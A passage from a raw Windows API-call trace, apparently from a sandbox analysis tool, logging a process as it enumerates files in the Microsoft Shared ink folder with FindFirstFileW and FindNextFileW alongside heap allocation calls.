dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0216.450] GetProcessHeap () returned 0x560000 [0216.450] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0216.450] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0216.450] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.450] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0216.451] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0216.451] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0216.451] GetProcessHeap () returned 0x560000 [0216.451] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0216.451] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0216.451] GetProcessHeap () returned 0x560000 [0216.451] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0216.451] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0216.452] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.452] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0216.452] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0216.452] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0216.453] GetProcessHeap () returned 0x560000 [0216.453] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0216.453] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0216.453] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0216.453] GetProcessHeap () returned 0x560000 [0216.453] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0216.453] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.634] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.634] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0217.634] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.634] GetProcessHeap () returned 0x560000 [0217.634] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.634] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0217.635] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0217.635] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0217.635] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0217.636] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0217.636] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0217.636] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0217.637] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0217.637] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0217.637] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0217.638] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0217.638] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0217.638] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0217.639] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0217.639] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0217.639] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0217.640] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0217.640] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0217.640] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0217.641] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0217.641] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0217.641] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0217.642] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0217.642] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0217.642] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0217.642] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0217.643] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0217.643] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0217.643] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0217.644] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0217.644] FindNextFileW (in: 